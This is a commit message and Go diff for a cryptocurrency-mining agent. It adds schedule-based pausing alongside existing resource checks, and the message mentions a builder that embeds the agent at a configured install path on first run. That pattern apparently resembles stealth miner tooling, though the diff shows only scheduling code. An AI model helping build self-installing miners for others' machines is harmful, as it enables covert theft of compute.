Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.

agent/miner/pool.go

@@ -21,6 +21,7 @@ type Pool struct {
 	reporter *stats.Reporter
 	engine   *Engine
 	handler  ShareHandler
+	schedule *ScheduleGuard
 
 	mu         sync.RWMutex
 	currentJob *job.Job
@@ -42,6 +43,7 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
 		reporter: reporter,
 		engine:   NewEngine(),
 		handler:  handler,
+		schedule: NewScheduleGuard(cfg, reporter),
 		stopCh:   make(chan struct{}),
 	}
 }
@@ -91,11 +93,21 @@ func (p *Pool) resourceGuard() {
 		case <-p.stopCh:
 			return
 		case <-ticker.C:
-			p.paused.Store(!p.resourcesOK())
+			p.paused.Store(!p.miningAllowed())
 		}
 	}
 }
 
+func (p *Pool) miningAllowed() bool {
+	if !p.resourcesOK() {
+		return false
+	}
+	if p.schedule != nil && !p.schedule.Allowed() {
+		return false
+	}
+	return true
+}
+
 func (p *Pool) resourcesOK() bool {
 	freeMB := p.reporter.FreeMemoryMB()
 	if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {